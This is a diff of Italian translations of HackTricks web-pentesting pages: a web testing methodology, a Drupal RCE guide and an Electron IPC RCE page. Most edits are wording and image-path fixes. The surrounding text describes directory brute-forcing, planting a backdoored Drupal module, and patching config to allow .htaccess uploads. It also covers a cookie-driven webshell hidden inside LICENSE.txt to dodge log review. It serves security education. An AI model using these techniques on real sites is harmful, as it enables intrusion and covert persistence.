-Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire **un test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
+Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
 
 * C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web?
 * Come e dove sono salvate le **credenziali**? C'è qualche **file** (accessibile?) con credenziali (nomi utente o password)?
@@ -185,7 +185,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 I server web possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**.
 
-* Accedi a **pagine false** come /whatever\_fake.php (.aspx,.html,.etc)
+* Accedi a **pagine false** come /whatever\_fake.php (.aspx,.html,.ecc)
 * **Aggiungi "\[]", "]]" e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
 * Genera un errore fornendo input come **`/~randomthing/%s`** alla **fine** dell'**URL**
 * Prova **diversi verbi HTTP** come PATCH, DEBUG o errati come FAKE
@@ -199,10 +199,10 @@ Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **c
 
 ### **Vulnerabilità SSL/TLS**
 
-* Se l'applicazione **non costringe l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
+* Se l'applicazione **non costringe l'utente a utilizzare HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
 * Se l'applicazione **invia dati sensibili (password) utilizzando HTTP**. Allora è una vulnerabilità alta.
 
-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -218,12 +218,12 @@ Informazioni sulle vulnerabilità SSL/TLS:
 
 ### Spidering
 
-Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati web crawling e fonti esterne per trovare il maggior numero possibile di percorsi validi.
+Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati il crawling web e fonti esterne per trovare il maggior numero possibile di percorsi validi.
 
 * [**gospider**](https://github.com/jaeles-project/gospider) (go): spider HTML, LinkFinder in file JS e fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): spider HML, con LinkFinder per file JS e Archive.org come fonte esterna.
 * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): spider HTML, indica anche "file succulenti".
-* [**evine** ](https://github.com/saeeddhqan/evine)(go): spider HTML interattivo CLI. Cerca anche in Archive.org.
+* [**evine** ](https://github.com/saeeddhqan/evine)(go): spider HTML CLI interattivo. Cerca anche in Archive.org.
 * [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi semplicemente indicare un file con host e un file con percorsi e meg recupererà ogni percorso su ogni host e salverà la risposta.
 * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): spider HTML con capacità di rendering JS. Tuttavia, sembra che non sia mantenuto, la versione precompilata è vecchia e il codice attuale non si compila.
 * [**gau**](https://github.com/lc/gau) (go): spider HTML che utilizza fornitori esterni (wayback, otx, commoncrawl).
@@ -238,17 +238,17 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide
 * [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli URL caricati per caricare la pagina.
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di scoperta dei contenuti che mescola diverse opzioni degli strumenti precedenti.
 * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare percorsi e parametri in file JS.
-* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che dato l'URL .js.map ti fornirà il codice JS abbellito.
+* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, data l'URL .js.map, ti fornirà il codice JS abbellito.
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target.
-* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando più link).
+* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link).
 * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzionale progettato per professionisti della sicurezza informatica.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzione progettato per professionisti della sicurezza informatica.
 * [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
 * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione.
 * [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo.
 * [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
 
-### Brute Force directories and files
+### Brute Force directory e file
 
 Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
 Strumenti:
@@ -259,12 +259,12 @@ Strumenti:
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Veloce, supporta ricerca ricorsiva.**
 * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 * [**ffuf** ](https://github.com/ffuf/ffuf)- Veloce: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-* [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che dato l'elenco di URL trovati eliminerà gli URL "duplicati".
+* [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, eliminerà gli URL "duplicati".
 * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione Burp per creare un elenco di directory dalla cronologia burp di diverse pagine.
 * [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuovi URL con funzionalità duplicate (basato su importazioni js).
 * [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare.
 
-**Dizionari raccomandati:**
+**Dizionari consigliati:**
 
 * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
 * [**Dizionario incluso in Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -283,13 +283,13 @@ Strumenti:
 * _/usr/share/wordlists/dirb/big.txt_
 * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forzata._
+_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere brute-forzata._
 
-### Cosa controllare in ogni file trovato
+### Cosa controllare su ogni file trovato
 
 * [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover.
 * **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile.
+* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ogni file web eseguibile.
 * _Arjun tutte le wordlist predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@@ -309,8 +309,8 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 * Cerca **link** ad altri file all'interno dei file **CSS**.
 * [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md).
 * Se trovi un _**.env**_ informazioni come chiavi API, password db e altre informazioni possono essere trovate.
-* Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali.
-* **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
+* Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembra" che lo siano.
+* **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
 * Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per scoprire se è vulnerabile.
 * **Deobfuscator e Unpacker Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
 * **Beautifier Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
@@ -327,9 +327,9 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 
 **502 Proxy Error**
 
-Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** _**google.com**_ **e avrai trovato un** SSRF.
+Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF.
 
-**NTLM Authentication - Info disclosure**
+**Autenticazione NTLM - Divulgazione di informazioni**
 
 Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
 **Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\
@@ -341,7 +341,7 @@ Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.ns
 
 ### Controllo delle vulnerabilità web
 
-Ora che è stata eseguita un'enumerazione completa dell'applicazione web è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
+Ora che è stata eseguita un'ampia enumerazione dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
 
 {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
 [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@@ -357,7 +357,7 @@ Trova ulteriori informazioni sulle vulnerabilità web in:
 
 Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per modifiche che potrebbero inserire vulnerabilità.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 

network-services-pentesting/pentesting-web/drupal/drupal-rce.md

@@ -1,8 +1,8 @@
 # Drupal RCE
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 ## Con il modulo PHP Filter
 
 {% hint style="warning" %}
-Nelle versioni precedenti di Drupal **(prima della versione 8)**, era possibile accedere come admin e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
+Nelle versioni più vecchie di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
 {% endhint %}
 
 È necessario che il **plugin php sia installato** (controlla accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**)
@@ -27,7 +27,7 @@ Vai su _Modules_ -> (**Controlla**) _PHP Filter_ -> _Salva configurazione_
 
 ![](<../../../.gitbook/assets/image (247) (1).png>)
 
-Poi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina base_ o _Articolo_ -> Scrivi _php shellcode nel corpo_ -> Seleziona _PHP code_ in _Text format_ -> Seleziona _Anteprima_
+Poi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina base_ o _Articolo_ -> Scrivi _php shellcode nel corpo_ -> Seleziona _PHP code_ in _Formato testo_ -> Seleziona _Anteprima_
 
 ![](<../../../.gitbook/assets/image (338).png>)
 
@@ -41,7 +41,7 @@ curl http://drupal-site.local/node/3
 Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
 {% endhint %}
 
-Dalla versione **8 in poi, il** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modulo non è installato di default**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**.
+A partire dalla versione **8, il** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modulo non è installato di default**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**.
 
 1. Scarica l'ultima versione del modulo dal sito di Drupal.
 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
@@ -83,23 +83,23 @@ tar cvf captcha.tar.gz captcha/
 * Assumendo di avere **accesso amministrativo** al sito web, clicca su **`Gestisci`** e poi su **`Estendi`** nella barra laterale. Successivamente, clicca sul pulsante **`+ Installa nuovo modulo`**, e verremo portati alla pagina di installazione, come `http://drupal-site.local/admin/modules/install`. Naviga fino all'archivio del Captcha backdoored e clicca su **`Installa`**.
 * Una volta completata l'installazione, naviga su **`/modules/captcha/shell.php`** per eseguire comandi.
 
-## Backdooring Drupal con sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
+## Backdooring Drupal con la sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
 
 **Post condiviso da** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
 
-### Parte 1 (attivazione di _Media_ e _Libreria Media_)
+### Parte 1 (attivazione di _Media_ e _Media Library_)
 
-Nel menu _Estendi_ (/admin/modules), puoi attivare quelli che sembrano essere plugin già installati. Per impostazione predefinita, i plugin _Media_ e _Libreria Media_ non sembrano essere attivati, quindi attiviamoli.
+Nel menu _Estendi_ (/admin/modules), puoi attivare quelli che sembrano essere plugin già installati. Per impostazione predefinita, i plugin _Media_ e _Media Library_ non sembrano essere attivati, quindi attiviamoli.
 
 Prima dell'attivazione:
 
-<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
 
 Dopo l'attivazione:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 2 (sfruttare la funzionalità _Sincronizzazione della configurazione_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
 
@@ -122,7 +122,7 @@ allow_insecure_uploads: false
 ...
 
 ```
-<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 A:
 
@@ -136,11 +136,11 @@ allow_insecure_uploads: true
 ...
 
 ```
-<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Patch field.field.media.document.field\_media\_document.yml**
 
-Quindi, applica la patch alla seconda voce `file_extensions` da:
+Poi, patcha la seconda voce `file_extensions` da:
 
 File: field.field.media.document.field\_media\_document.yml
 ```
@@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
 
 ...
 ```
-<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
 
 A:
 
@@ -166,9 +166,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
 ...
 
 ```
-> Non lo uso in questo post del blog, ma è importante notare che è possibile definire l'entry `file_directory` in modo arbitrario e che è vulnerabile a un attacco di path traversal (quindi possiamo risalire all'interno dell'albero del filesystem di Drupal).
+> Non lo uso in questo post del blog, ma è importante notare che è possibile definire l'entry `file_directory` in modo arbitrario e che è vulnerabile a un attacco di traversata del percorso (quindi possiamo risalire all'interno dell'albero del filesystem di Drupal).
 
-<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 3 (sfruttando la funzionalità _Aggiungi Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
 
@@ -194,15 +194,15 @@ php_flag engine on
 ```
 Perché questo trucco è interessante?
 
-Perché una volta che il Webshell (che chiameremo LICENSE.txt) è stato caricato sul server Web, possiamo trasmettere i nostri comandi tramite `$_COOKIE` e nei log del server Web, questo apparirà come una legittima richiesta GET a un file di testo.
+Perché una volta che il Webshell (che chiameremo LICENSE.txt) è stato caricato sul server Web, possiamo trasmettere i nostri comandi tramite `$_COOKIE` e nei log del server Web, questo apparirà come una richiesta GET legittima a un file di testo.
 
 Perché chiamare il nostro Webshell LICENSE.txt?
 
 Semplicemente perché se prendiamo il seguente file, ad esempio [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (che è già presente nel core di Drupal), abbiamo un file di 339 righe e 17,6 KB di dimensione, che è perfetto per aggiungere un piccolo frammento di codice PHP nel mezzo (dato che il file è abbastanza grande).
 
-<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
 
-File: Patched LICENSE.txt
+File: LICENSE.txt patchato
 ```txt
 
 ...
@@ -235,21 +235,21 @@ programs whose distribution conditions are different, write to the author
 
 Per prima cosa, sfruttiamo la funzione _Aggiungi Documento_ (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess).
 
-<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Parte 3.2 (carica file LICENSE.txt)**
 
 Poi, sfruttiamo di nuovo la funzione _Aggiungi Documento_ (/media/add/document) per caricare un Webshell nascosto all'interno di un file di licenza.
 
-<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Parte 4 (interazione con il Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
 
@@ -257,21 +257,21 @@ L'ultima parte consiste nell'interagire con il Webshell.
 
 Come mostrato nello screenshot seguente, se il cookie previsto dal nostro Webshell non è definito, otteniamo il risultato successivo quando consultiamo il file tramite un browser Web.
 
-<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
 
 Quando l'attaccante imposta il cookie, può interagire con il Webshell ed eseguire qualsiasi comando desideri.
 
-<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
 
 E come puoi vedere nei log, sembra che sia stato richiesto solo un file txt.
 
-<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
 
 Grazie per aver dedicato del tempo a leggere questo articolo, spero che ti aiuti a ottenere alcune shell.
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

@@ -1,8 +1,8 @@
 # Electron contextIsolation RCE via IPC
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -23,7 +23,7 @@ Se lo script di preload espone un endpoint IPC dal file main.js, il processo di
 
 Esempio da [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (hai l'esempio completo di come MS Teams abusava di XSS per RCE in quelle diapositive, questo è solo un esempio molto basilare):
 
-<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Esempio 1
 
@@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
 };
 ```
 {% hint style="success" %}
-Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-web/jira.md

